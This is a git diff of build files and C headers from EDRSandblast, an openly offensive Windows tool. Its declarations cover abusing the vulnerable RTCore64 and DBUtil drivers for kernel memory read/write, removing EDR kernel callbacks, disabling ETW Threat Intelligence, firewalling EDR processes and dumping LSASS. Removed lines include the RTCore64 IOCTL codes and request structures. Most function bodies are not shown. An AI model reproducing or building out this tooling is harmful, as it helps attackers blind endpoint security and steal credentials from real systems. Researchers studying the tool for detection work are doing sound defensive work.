||||
<ClCompile Include="UserlandBypass\UserlandHooks.c" />
|
||||
<ClCompile Include="Utils\DriverOps.c" />
|
||||
<ClCompile Include="Utils\FileVersion.c" />
|
||||
<ClCompile Include="Utils\FirewallOps.cpp" />
|
||||
<ClCompile Include="Utils\IsEDRChecks.c" />
|
||||
<ClCompile Include="Utils\IsElevatedProcess.c" />
|
||||
<ClCompile Include="Utils\KernelMemoryPrimitives.c" />
|
||||
<ClCompile Include="Utils\KernelPatternSearch.c" />
|
||||
<ClCompile Include="Utils\LSASSDump.c" />
|
||||
<ClCompile Include="Utils\ProcessDump.c" />
|
||||
<ClCompile Include="Utils\NtoskrnlOffsets.c" />
|
||||
<ClCompile Include="Utils\PEBBrowse.c" />
|
||||
<ClCompile Include="Utils\PEParser.c" />
|
||||
<ClCompile Include="Utils\StringUtils.c" />
|
||||
<ClCompile Include="Utils\SignatureOps.c" />
|
||||
<ClCompile Include="Utils\SW2_Syscalls.c" />
|
||||
<ClCompile Include="Utils\SyscallProcessUtils.c" />
|
||||
<ClCompile Include="Utils\WdigestOffsets.c" />
|
||||
<ClCompile Include="Utils\WindowsServiceOps.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="EDRSandblast.h" />
|
||||
<ClInclude Include="Includes\CredGuard.h" />
|
||||
<ClInclude Include="Includes\DriverDBUtil.h" />
|
||||
<ClInclude Include="Includes\DriverRTCore.h" />
|
||||
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
|
||||
<ClInclude Include="Includes\FileUtils.h" />
|
||||
<ClInclude Include="Includes\HttpClient.h" />
|
||||
<ClInclude Include="Includes\DriverOps.h" />
|
||||
<ClInclude Include="EDRSandBlast.h" />
|
||||
<ClInclude Include="Includes\ETWThreatIntel.h" />
|
||||
<ClInclude Include="Includes\FileVersion.h" />
|
||||
<ClInclude Include="Includes\Firewalling.h" />
|
||||
<ClInclude Include="Includes\FirewallOps.h" />
|
||||
<ClInclude Include="Includes\IsEDRChecks.h" />
|
||||
<ClInclude Include="Includes\IsElevatedProcess.h" />
|
||||
<ClInclude Include="Includes\KernelCallbacks.h" />
|
||||
<ClInclude Include="Includes\KernelMemoryPrimitives.h" />
|
||||
<ClInclude Include="Includes\KernelPatternSearch.h" />
|
||||
<ClInclude Include="Includes\LSASSDump.h" />
|
||||
<ClInclude Include="Includes\KernelUtils.h" />
|
||||
<ClInclude Include="Includes\ListUtils.h" />
|
||||
<ClInclude Include="Includes\ProcessDump.h" />
|
||||
<ClInclude Include="Includes\RemotePEBBrowser.h" />
|
||||
<ClInclude Include="Includes\NtoskrnlOffsets.h" />
|
||||
<ClInclude Include="Includes\PEBBrowse.h" />
|
||||
<ClInclude Include="Includes\PEParser.h" />
|
||||
<ClInclude Include="Includes\RunAsPPL.h" />
|
||||
<ClInclude Include="Includes\SignatureOps.h" />
|
||||
<ClInclude Include="Includes\StringUtils.h" />
|
||||
<ClInclude Include="Includes\SW2_Syscalls.h" />
|
||||
<ClInclude Include="Includes\SyscallProcessUtils.h" />
|
||||
<ClInclude Include="Includes\Syscalls.h" />
|
||||
<ClInclude Include="Includes\Undoc.h" />
|
||||
<ClInclude Include="Includes\Undoc_64.h" />
|
||||
<ClInclude Include="Includes\UserlandHooks.h" />
|
||||
<ClInclude Include="Includes\WdigestOffsets.h" />
|
||||
<ClInclude Include="Includes\CredGuard.h" />
|
||||
<ClInclude Include="Includes\RunAsPPL.h" />
|
||||
<ClInclude Include="Includes\WindowsServiceOps.h" />
|
||||
<ClInclude Include="Includes\PdbSymbols.h" />
|
||||
<ClInclude Include="Includes\ObjectCallbacks.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Utils\SW2_Syscalls_stubs.x64.asm">
|
||||
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild>
|
||||
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</DeploymentContent>
|
||||
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild>
|
||||
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</DeploymentContent>
|
||||
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</ExcludedFromBuild>
|
||||
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</DeploymentContent>
|
||||
<ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</ExcludedFromBuild>
|
||||
<DeploymentContent Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</DeploymentContent>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -15,12 +15,6 @@
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRSandblast.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="EDRBypass\KernelCallbacks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="LSASSProtectionBypass\CredGuard.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
@@ -33,9 +27,6 @@
|
||||
<ClCompile Include="Utils\DriverOps.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\LSASSDump.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\FileVersion.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
@@ -48,16 +39,82 @@
|
||||
<ClCompile Include="Utils\WdigestOffsets.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="EDRBypass\ETWThreatIntel.c">
|
||||
<ClCompile Include="Utils\FirewallOps.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Userland\PEBBrowse.c">
|
||||
<ClCompile Include="Utils\IsEDRChecks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Userland\PEParser.c">
|
||||
<ClCompile Include="Utils\IsElevatedProcess.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Userland\UserlandHooks.c">
|
||||
<ClCompile Include="Utils\WindowsServiceOps.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\SignatureOps.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KernellandBypass\ETWThreatIntel.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KernellandBypass\KernelCallbacks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="UserlandBypass\Firewalling.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="UserlandBypass\UserlandHooks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\PdbSymbols.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\HttpClient.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\FileUtils.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KernellandBypass\ObjectCallbacks.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\SW2_Syscalls.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="KernellandBypass\KernelUtils.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Drivers\DriverRTCore.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\SyscallProcessUtils.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Drivers\DriverDBUtil.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\StringUtils.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\PEParser.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\PEBBrowse.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\RemotePEBBrowser.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\ListUtils.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="UserlandBypass\Syscalls.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Utils\ProcessDump.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
@@ -71,15 +128,9 @@
|
||||
<ClInclude Include="Includes\KernelMemoryPrimitives.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="EDRSandBlast.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\DriverOps.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\LSASSDump.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\FileVersion.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
@@ -113,5 +164,76 @@
|
||||
<ClInclude Include="Includes\UserlandHooks.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\Firewalling.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\FirewallOps.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\IsElevatedProcess.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\WindowsServiceOps.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\SignatureOps.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\IsEDRChecks.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\PdbSymbols.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\HttpClient.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\FileUtils.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\ObjectCallbacks.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\KernelUtils.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\DriverRTCore.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\DriverDBUtil.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\SyscallProcessUtils.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\SW2_Syscalls.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\StringUtils.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\RemotePEBBrowser.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\ListUtils.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\Syscalls.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\ProcessDump.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="EDRSandblast.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="Utils\SW2_Syscalls_stubs.x64.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
HANDLE GetDriverHandle_DBUtil();
|
||||
VOID CloseDriverHandle_DBUtil();
|
||||
VOID WriteMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer);
|
||||
VOID ReadMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer);
|
||||
@@ -9,16 +9,17 @@
|
||||
#include <Windows.h>
|
||||
|
||||
#if !defined(PRINT_ERROR_AUTO)
|
||||
#define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()))
|
||||
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
|
||||
#endif
|
||||
|
||||
#define SERVICE_NAME_LENGTH 8
|
||||
#define MAX_UNINSTALL_ATTEMPTS 3
|
||||
#define OP_SLEEP_TIME 1000
|
||||
|
||||
TCHAR* GetServiceName(void);
|
||||
void SetServiceName(TCHAR* newName, size_t szNewName);
|
||||
TCHAR* GetDriverServiceName(void);
|
||||
void SetDriverServiceName(_In_z_ TCHAR* newName);
|
||||
|
||||
BOOL InstallVulnerableDriver(TCHAR* driverPath);
|
||||
|
||||
BOOL UninstallVulnerableDriver(void);
|
||||
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName);
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
HANDLE GetDriverHandle_RTCore();
|
||||
VOID CloseDriverHandle_RTCore();
|
||||
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer);
|
||||
VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer);
|
||||
@@ -0,0 +1,13 @@
|
||||
#pragma once
|
||||
|
||||
PBYTE ReadFullFileW(LPCWSTR fileName);
|
||||
|
||||
BOOL FileExistsA(LPCSTR szPath);
|
||||
BOOL FileExistsW(LPCWSTR szPath);
|
||||
#ifdef UNICODE
|
||||
#define FileExists FileExistsW
|
||||
#else
|
||||
#define FileExists FileExistsA
|
||||
#endif // !UNICODE
|
||||
|
||||
BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize);
|
||||
@@ -2,8 +2,10 @@
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
LPTSTR GetNtoskrnlPath();
|
||||
|
||||
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename);
|
||||
|
||||
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion);
|
||||
LPTSTR GetNtoskrnlVersion();
|
||||
|
||||
void GetWdigestVersion(TCHAR* wdigestVersion);
|
||||
LPTSTR GetWdigestVersion();
|
||||
@@ -0,0 +1,30 @@
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#pragma warning(disable : 4201)
|
||||
#include <netfw.h>
|
||||
#pragma warning(default : 4201)
|
||||
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "StringUtils.h"
|
||||
|
||||
#pragma comment(lib, "ole32.lib")
|
||||
#pragma comment(lib, "oleaut32.lib")
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
#ifndef FW_PROFILE_TYPE_ALL
|
||||
#define FW_PROFILE_TYPE_ALL 0x7FFFFFFF
|
||||
#endif
|
||||
|
||||
#define FW_RULE_NAME_MAX_LENGTH 20
|
||||
|
||||
HRESULT IsFirewallEnabled(BOOL* firewallIsOn);
|
||||
|
||||
HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName);
|
||||
|
||||
HRESULT DeleteFirewallRule(TCHAR * ruleName);
|
||||
@@ -0,0 +1,37 @@
|
||||
/*
|
||||
|
||||
--- Firewall rules to block EDR products from the network (inboud / outbound connections).
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Dbghelp.h>
|
||||
#include <stdio.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "FirewallOps.h"
|
||||
#include "IsEDRChecks.h"
|
||||
#include "IsElevatedProcess.h"
|
||||
|
||||
// Singly-linked list used to hold the paths of binaries executed by EDRs (processes / services).
|
||||
typedef struct sFwBinaryRules_ {
|
||||
TCHAR* binaryPath;
|
||||
TCHAR* ruleInboundName;
|
||||
TCHAR* ruleOutboundName;
|
||||
struct sFwBinaryRules_* next;
|
||||
} fwBinaryRules;
|
||||
|
||||
typedef struct fwBlockingRulesList_ {
|
||||
fwBinaryRules* first;
|
||||
}fwBlockingRulesList;
|
||||
|
||||
void FirewallPrintManualDeletion(fwBlockingRulesList* fwEntries);
|
||||
|
||||
HRESULT FirewallBlockEDR(fwBlockingRulesList* fwEntries);
|
||||
|
||||
HRESULT FirewallUnblockEDR(fwBlockingRulesList* fwEntries);
|
||||
|
||||
void fwList_insertSorted(fwBlockingRulesList* fwEntries, fwBinaryRules* newFWEntry);
|
||||
@@ -0,0 +1,2 @@
|
||||
#pragma once
|
||||
BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size);
|
||||
@@ -0,0 +1,24 @@
|
||||
/*
|
||||
* Primitives to check if a binary or driver belongs to an EDR product.
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "SignatureOps.h"
|
||||
|
||||
TCHAR const* EDR_SIGNATURE_KEYWORDS[];
|
||||
TCHAR const* EDR_BINARIES[];
|
||||
TCHAR const* EDR_DRIVERS[];
|
||||
|
||||
BOOL isFileSignatureMatchingEDR(TCHAR* filePath);
|
||||
|
||||
BOOL isBinaryNameMatchingEDR(TCHAR* binaryName);
|
||||
|
||||
BOOL isBinaryPathMatchingEDR(TCHAR* binaryPath);
|
||||
|
||||
BOOL isDriverNameMatchingEDR(TCHAR* driverName);
|
||||
|
||||
BOOL isDriverPathMatchingEDR(TCHAR* driverPath);
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
#include "Windows.h"
|
||||
#include "Tchar.h"
|
||||
|
||||
#pragma comment(lib, "netapi32.lib")
|
||||
|
||||
BOOL IsElevatedProcess();
|
||||
@@ -17,10 +17,24 @@
|
||||
*/
|
||||
#define PSP_MAX_CALLBACKS 0x40
|
||||
|
||||
//TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc)
|
||||
enum kernel_callback_type_e {
|
||||
NOTIFY_ROUTINE_CB,
|
||||
OBJECT_CALLBACK
|
||||
};
|
||||
struct KRNL_CALLBACK {
|
||||
TCHAR const* driver;
|
||||
DWORD64 callback_addr;
|
||||
DWORD64 callback_struct;
|
||||
enum kernel_callback_type_e type;
|
||||
TCHAR const* driver_name;
|
||||
union callback_addr_e {
|
||||
struct notify_routine_t {
|
||||
DWORD64 callback_struct_addr;
|
||||
DWORD64 callback_struct;
|
||||
enum NtoskrnlOffsetType type; //TODO : decorrelate indices in CSV from notify routine types
|
||||
} notify_routine;
|
||||
struct object_callback_t {
|
||||
DWORD64 enable_addr;
|
||||
} object_callback;
|
||||
} addresses;
|
||||
DWORD64 callback_func;
|
||||
BOOL removed;
|
||||
};
|
||||
@@ -30,11 +44,10 @@ struct FOUND_EDR_CALLBACKS {
|
||||
struct KRNL_CALLBACK EDR_CALLBACKS[256];
|
||||
};
|
||||
|
||||
TCHAR const* EDR_DRIVERS[];
|
||||
|
||||
|
||||
BOOL isDriverEDR(TCHAR* driver);
|
||||
|
||||
void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||
|
||||
/*
|
||||
|
||||
@@ -78,6 +91,6 @@ void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL
|
||||
|
||||
*/
|
||||
|
||||
void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
|
||||
void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
|
||||
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||
|
||||
@@ -9,61 +9,49 @@
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#define RTCore 0
|
||||
#define DBUtil 1
|
||||
#define VULN_DRIVER RTCore
|
||||
|
||||
struct RTCORE64_MSR_READ {
|
||||
DWORD Register;
|
||||
DWORD ValueHigh;
|
||||
DWORD ValueLow;
|
||||
};
|
||||
#if VULN_DRIVER == RTCore
|
||||
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
|
||||
#define GetDriverHandle GetDriverHandle_RTCore
|
||||
#define CloseDriverHandle CloseDriverHandle_RTCore
|
||||
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
|
||||
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
|
||||
#elif VULN_DRIVER == DBUtil
|
||||
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
|
||||
#define GetDriverHandle GetDriverHandle_DBUtil
|
||||
#define CloseDriverHandle CloseDriverHandle_DBUtil
|
||||
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
|
||||
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
|
||||
#endif
|
||||
|
||||
struct RTCORE64_MEMORY_READ {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
BYTE Pad1[8];
|
||||
DWORD ReadSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
|
||||
struct RTCORE64_MEMORY_WRITE {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
BYTE Pad1[8];
|
||||
DWORD ReadSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
BYTE ReadMemoryBYTE(DWORD64 Address);
|
||||
WORD ReadMemoryWORD(DWORD64 Address);
|
||||
DWORD ReadMemoryDWORD(DWORD64 Address);
|
||||
DWORD64 ReadMemoryDWORD64(DWORD64 Address);
|
||||
|
||||
static const DWORD RTCORE64_MSR_READ_CODE = 0x80002030;
|
||||
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
|
||||
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
|
||||
BYTE ReadKernelMemoryBYTE(DWORD64 Offset);
|
||||
WORD ReadKernelMemoryWORD(DWORD64 Offset);
|
||||
DWORD ReadKernelMemoryDWORD(DWORD64 Offset);
|
||||
DWORD64 ReadKernelMemoryDWORD64(DWORD64 Offset);
|
||||
|
||||
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address);
|
||||
VOID ReadMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size);
|
||||
|
||||
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address);
|
||||
void WriteMemoryBYTE(DWORD64 Address, BYTE Value);
|
||||
void WriteMemoryWORD(DWORD64 Address, WORD Value);
|
||||
void WriteMemoryDWORD(DWORD64 Address, DWORD Value);
|
||||
void WriteMemoryDWORD64(DWORD64 Address, DWORD64 Value);
|
||||
|
||||
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address);
|
||||
void WriteKernelMemoryBYTE(DWORD64 Offset, BYTE Value);
|
||||
void WriteKernelMemoryWORD(DWORD64 Offset, WORD Value);
|
||||
void WriteKernelMemoryDWORD(DWORD64 Offset, DWORD Value);
|
||||
void WriteKernelMemoryDWORD64(DWORD64 Offset, DWORD64 Value);
|
||||
|
||||
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address);
|
||||
VOID WriteMemory(DWORD64 Address, PVOID Buffer, SIZE_T Size);
|
||||
|
||||
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
VOID CloseDriverHandle();
|
||||
|
||||
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
|
||||
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value);
|
||||
|
||||
/*
|
||||
|
||||
--- Kernel exploitation helpers.
|
||||
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
|
||||
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
|
||||
|
||||
*/
|
||||
|
||||
DWORD64 FindNtoskrnlBaseAddress(void);
|
||||
|
||||
TCHAR* FindDriver(DWORD64 address, BOOL verbose);
|
||||
|
||||
HANDLE GetDriverHandle();
|
||||
|
||||
DWORD64 GetFunctionAddress(LPCSTR function);
|
||||
BOOL TestReadPrimitive();
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
DWORD64 FindNtoskrnlBaseAddress(void);
|
||||
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
|
||||
TCHAR* FindDriverPath(DWORD64 address);
|
||||
DWORD64 GetKernelFunctionAddress(LPCSTR function);
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
|
||||
--- LSASS dump functions.
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
|
||||
DWORD WINAPI dumpLSASSProcess(void* data);
|
||||
@@ -0,0 +1,7 @@
|
||||
#include <Windows.h>
|
||||
|
||||
typedef struct _LINKED_LIST {
|
||||
struct _LINKED_LIST* next;
|
||||
} LINKED_LIST, * PLINKED_LIST;
|
||||
|
||||
VOID freeLinkedList(PVOID head);
|
||||
@@ -11,13 +11,16 @@
|
||||
|
||||
|
||||
enum NtoskrnlOffsetType {
|
||||
CREATE_PROCESS_ROUTINE = 0,
|
||||
CREATE_THREAD_ROUTINE = 1,
|
||||
LOAD_IMAGE_ROUTINE = 2,
|
||||
PROTECTION_LEVEL = 3,
|
||||
ETW_THREAT_INT_PROV_REG_HANDLE = 4,
|
||||
ETW_REG_ENTRY_GUIDENTRY = 5,
|
||||
ETW_GUID_ENTRY_PROVIDERENABLEINFO = 6,
|
||||
CREATE_PROCESS_ROUTINE,
|
||||
CREATE_THREAD_ROUTINE,
|
||||
LOAD_IMAGE_ROUTINE,
|
||||
PROTECTION_LEVEL,
|
||||
ETW_THREAT_INT_PROV_REG_HANDLE,
|
||||
ETW_REG_ENTRY_GUIDENTRY,
|
||||
ETW_GUID_ENTRY_PROVIDERENABLEINFO,
|
||||
PSPROCESSTYPE,
|
||||
PSTHREADTYPE,
|
||||
OBJECT_TYPE_CALLBACKLIST,
|
||||
_SUPPORTED_NTOSKRNL_OFFSETS_END
|
||||
};
|
||||
|
||||
@@ -30,21 +33,41 @@ union NtoskrnlOffsets {
|
||||
DWORD64 pspCreateThreadNotifyRoutine;
|
||||
// ntoskrnl's PspLoadImageNotifyRoutine
|
||||
DWORD64 pspLoadImageNotifyRoutine;
|
||||
// ntoskrnl EPROCESS's _PS_PROTECTION
|
||||
DWORD64 ps_protection;
|
||||
// ntoskrnl EPROCESS's Protection field offset
|
||||
DWORD64 eprocess_protection;
|
||||
// ntoskrnl ETW Threat Intelligence's EtwThreatIntProvRegHandle
|
||||
DWORD64 etwThreatIntProvRegHandle;
|
||||
// ntoskrnl _ETW_REG_ENTRY's GuidEntry
|
||||
DWORD64 etwRegEntry_GuidEntry;
|
||||
// ntoskrnl _ETW_GUID_ENTRY's ProviderEnableInfo
|
||||
DWORD64 etwGuidEntry_ProviderEnableInfo;
|
||||
// ntoskrnl PsProcessType symbol offset
|
||||
DWORD64 psProcessType;
|
||||
